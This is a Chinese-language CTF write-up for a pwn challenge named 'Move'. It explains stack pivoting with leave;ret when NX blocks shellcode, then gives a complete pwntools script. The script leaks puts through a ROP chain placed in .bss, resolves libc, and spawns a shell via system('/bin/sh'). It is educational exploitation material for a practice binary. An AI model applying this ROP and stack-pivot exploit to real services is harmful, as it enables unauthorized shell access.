# Move

一道栈迁移的题

开启了 NX 无法写入 shellcode 去执行

vunl 函数里的 read 可以进行溢出,但是只能溢出 0x10 个字节,不能满足我们构造 rop 的大小,但是 main 函数里第一个 read 写 0x20 个字节往 bss 段内,这个大小可以用来构造 rop,所以要进行栈迁移

# 栈迁移:

栈迁移要利用 leave 和 ret

leave:

mov  esp , ebp
pop   ebp

ret:

pop eip

首先要利用栈迁移需要通过溢出来改写部分数据,将 ebp 的值改为伪造的栈的栈顶, ret 一般改到 read 处来改写伪造的栈的数据【使伪造的栈的栈顶( fake_esp )存入 fake_ebp 的栈低】

栈迁移要使用两次 leave_ret 来转移栈

第一次 leave_ret 后:

leave

ret

第二次 leave_ret

leave

ret

pop eip // 将 system_plt 给 eip 让它去执行,这里就可以 getshell 了,然后 eip+4

# 根据上面的流程构造 exp:

首先利用第一个写入 bss 段的 read 来构造泄露 puts 真实地址的 rop
在输入使 a1=305419896,然后进行栈迁移,迁移到 bss 段上执行我们已经构造好的 rop, 最后返回到 mian 函数

通过上面一次的执行利用泄露的 puts地址 计算得到 libc 基地址,重新往 bss 段上写入 ( system("/bin/sh") ),这里是利用 ret2libc 来 getshell

pop_rdi 和 leave_ret:

n
from pwn import *
from LibcSearcher import *
#context.log_level = 'debug'
context(os='linux', arch='amd64', log_level='debug')
p=process('./pwn')
e=ELF('./pwn')
#p=remote('47.93.188.210',28123)
write_plt=e.plt["write"]
write_got=e.got["write"]
puts_plt=e.plt["puts"]
puts_got=e.got["puts"]
bbs_esp=0x0000000004050A0
#bbs_ebp=0x00000000040519F
leave_ret=0x000000000040124b
main=0x0000000000401264
rdi_ret=0x0000000000401353
p.recvuntil("lets travel again!")
payload1=p64(rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(main)
p.send(payload1)
p.recvuntil("Input your setp number")
p.send(p32(305419896))
p.recv()
payload2=b"a"*(0x30)+p64(bbs_esp-8)+p64(leave_ret)
p.send(payload2)
#gdb.attach(p)
#pause()
puts=u64(p.recv(6).ljust(8,b'\x00'))
log.info("puts="+hex(puts))
libc=LibcSearcher("puts",puts)
libc_base=puts-libc.dump("puts")
system=libc_base+libc.dump("system")
binsh=libc_base+libc.dump("str_bin_sh")
p.recvuntil("lets travel again!")
payload1=p64(rdi_ret)+p64(binsh)+p64(system)+p64(main)
p.send(payload1)
p.recv()
p.send(p32(305419896))
payload3=b"a"*(0x30)+p64(bbs_esp-8)+p64(leave_ret)
p.send(payload3)
p.interactive()